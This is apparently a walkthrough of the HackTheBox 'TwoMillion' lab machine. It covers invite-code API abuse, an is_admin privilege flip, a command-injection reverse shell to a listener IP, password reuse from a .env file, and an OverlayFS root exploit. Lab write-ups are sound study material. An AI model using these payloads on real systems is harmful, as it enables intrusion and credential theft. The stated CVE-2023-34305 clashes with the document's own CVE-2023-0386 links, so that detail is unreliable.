HackTheBox Challenge - TwoMillion
Challenge
Today, we’re exploring the HackTheBox challenge “TwoMillion.” It’san Easy Linux box released to celebrate HackTheBox reaching two million users. The machine runs an older version of the HackTheBox platform that exposes the legacy invite-code flow. This challenge is a great way to practice web exploitation and privilege escalation techniques. Let’s dive in!
Now HackTheBox has a new mode for retired machines called Guide Mode. This mode provides step-by-step instructions to solve the machine, making it perfect for beginners. That’s the mode I’ll be using for this walkthrough.
Task 1: Enumeration
Question : How many TCP ports are open? We can use Nmap to scan for open ports. Running the command:
1
nmap -sT -T5 twomillion.htb
We get the following results:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Answer: 2
Task 2: Web
Since port 80 is open, let’s check out the web server. Navigating to http://twomillion.htb, we see a simple login page.
Question : What is the name of the JavaScript file loaded by the /invite page that has to do with invite codes? Going in the developer tools, we can see that the page loads a JavaScript file named inviteapi.min.js.
Answer: inviteapi.min.js
Task 3: Invite Code
Question : What JavaScript function on the invite page returns the first hint about how to get an invite code? Don’t include () in the answer.
Taking a closer look at the inviteapi.min.js file :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval(function (p, a, c, k, e, d) {
e = function (c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function (e) {
return d[e]
}];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
The code is obfuscated, but we can see two function names: verifyInviteCode and makeInviteCode. To have a better understanding, we can use an online JavaScript deobfuscator to make the code more readable.
After running the code through a deobfuscator, we obtain the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
Answer: makeInviteCode
Task 4: Generating an Invite Code
Seems that we can communicate with the API endpoints directly. Let’s try to generate an invite code by sending a POST request to /api/v1/invite/how/to/generate.
1
curl -X POST http://twomillion.htb/api/v1/invite/how/to/generate
We get the following response:
1
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
The response indicates that the data is encrypted using ROT13. Going ahead and decoding the string in CyberChef.
We get the decoded message: “In order to generate the invite code, make a POST request to /api/v1/invite/generate”.
Let’s poke that new endpoint:
1
curl -X POST http://twomillion.htb/api/v1/invite/generate
We get the following response:
1
{"0":200,"success":1,"data":{"code":"SDQ4N1ItVTIwVTktMTczSkMtSk9UVTI=","format":"encoded"}}
Just putting this code in the invite page doesn’t work. The format is “encoded”, so let’s decode it from Base64.
1
echo "SDQ4N1ItVTIwVTktMTczSkMtSk9UVTI=" | base64 -d
We get the invite code: `H487R-U20U9-173JC-JOT
Question: The endpoint in makeInviteCode returns encrypted data. That message provides another endpoint to query. That endpoint returns a code value that is encoded with what very common binary to text encoding format. What is the name of that encoding?
Answer: base64
We can use this code to register a new account on the login page.
We now have access to the platform !
Task 5: VPN ?
Question: What is the path to the endpoint the page uses when a user clicks on “Connection Pack”? Clicking on the “Connection Pack” button, we can see that it sends a GET request to the /api/v1/user/vpn/generate endpoint.
Task 6: Moooore endpoints
Question: How many API endpoints are there under /api/v1/admin ? One hint was that before trying to bruteforce the admin endpoints, we should keep it simple and look for a list of endpoints somewhere. At the source every endpoint starts with /api/v1/, let see if we can find something interesting.
1
curl -b "PHPSESSID=g8t8dqplf5njaemdalq256nl4t" -H "Accept: application/json" http://2million.htb/api/v1 | jq
We get the following response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Answer: 3
Task 7: Admin Access
Question: What API endpoint can change a user account to an admin account? From the list of admin endpoints, we can see that there is a PUT request to /api/v1/admin/settings/update which is used to update user settings. This endpoint likely has the capability to change a user account to an admin account.
But what are the parameters to send to this endpoint ?
We can try to see where we could potentially get more information about the structure of the request.
I’ve tried the /api/v1/user/auth endpoint to see what kind of data it returns.
1
curl -b "PHPSESSID=g8t8dqplf5njaemdalq256nl4t" -H "Accept: application/json" http://2million.htb/api/v1/user/auth | jq
We get the following response:
1
{"loggedin":true,"username":"test","is_admin":0}
The response indicates that the user is not an admin ("is_admin":0). Now we can try to update our user settings to make ourselves an admin.
1
curl -X PUT -b "PHPSESSID=g8t8dqplf5njaemdalq256nl4t" -H "Content-Type: application/json" -d '{"email":"test@email.com", "username":"test", "is_admin":1}' http://2million.htb/api/v1/admin/settings/update
Answer: /api/v1/admin/settings/update
Task 8: Exploiting Injection
Question: What API endpoint has a command injection vulnerability in it? Now that we have admin access, we can try to exploit the command injection vulnerability. We can see that there is a POST request to /api/v1/admin/vpn/generate which is used to generate an openvpn config for a specific user. This endpoint is likely vulnerable to command injection attacks.
1
curl -X POST -b "PHPSESSID=g8t8dqplf5njaemdalq256nl4t" -H "Content-Type: application/json" -d '{"username":"test"}' http://2million.htb/api/v1/admin/vpn/generate -o openvpn.ovpn
We get a openvpn config file in response, that looks like this:
The server command is apparently using the username directly in a shell command to generate the config without sanitizing it. We can try to inject a command by adding a semicolon followed by the command we want to execute.
After setting up a listener on our machine, we can try to inject a reverse shell command.
1
curl -v -X POST -H "Content-Type: application/json" -d '{"username": "test; bash -c \"bash -i > /dev/tcp/10.10.14.81/1234 0<&1\" #"}' -b "PHPSESSID=g8t8dqplf5njaemdalq256nl4t" http://2million.htb/api/v1/admin/vpn/generate
And we get a reverse shell ! We can upgrade it to a fully interactive TTY.
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
And voila !
Answer: /api/v1/admin/vpn/generate
Task 9: We Got Shell ! Now What ?
Question: What file is commonly used in PHP applications to store environment variable values?
After listing all files in the root directory of the web server, we can see a .env file that gives us some insight…
1
2
3
4
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Maybe there’s something to do with the database ?
1
mysql -h 127.0.0.1 -u admin -pSuperDuperPass123 htb_prod
But upon checking the tables, there is nothing interesting. We can try to go straight to the point by doing :
1
su admin
Bingo ! We are now the admin user of the web application. We can now read the flag in the home directory.
Answer: .env
Task 10: What’s next ?
Question: What is the email address of the sender of the email sent to admin?
Email are usually stored in the /var/mail/ directory. We can check the mail for the admin user.
1
cat /var/mail/admin
1
2
3
4
5
6
7
8
9
From: ch4p [ch4p@2million.htb](mailto:ch4p@2million.htb) To: admin [admin@2million.htb](mailto:admin@2million.htb) Cc: g0blin [g0blin@2million.htb](mailto:g0blin@2million.htb) Subject: Urgent: Patch System OS Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: [9876543210@2million.htb](mailto:9876543210@2million.htb)
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Answer: ch4p@2million.htb
Task 11: Privilege Escalation
Question: What is the 2023 CVE ID for a vulnerability in that allows an attacker to move files in the Overlay file system while maintaining metadata like the owner and SetUID bits?
The email mentions a vulnerability in OverlayFS / FUSE. After researching, we find that the CVE ID for this vulnerability is CVE-2023-34305.
More info : https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/
Answer: CVE-2023-34305
Task 12: Getting Root
After researching the CVE, we find a public exploit that we can use to gain root access. We can download the exploit and compile it on the target machine (https://github.com/sxlmnwb/CVE-2023-0386).
Conclusion
This challenge was a great way to practice web exploitation and privilege escalation techniques. We learned how to exploit command injection vulnerabilities and how to use public exploits to gain root access. The TwoMillion challenge is a great starting point for beginners looking to improve their penetration testing skills.





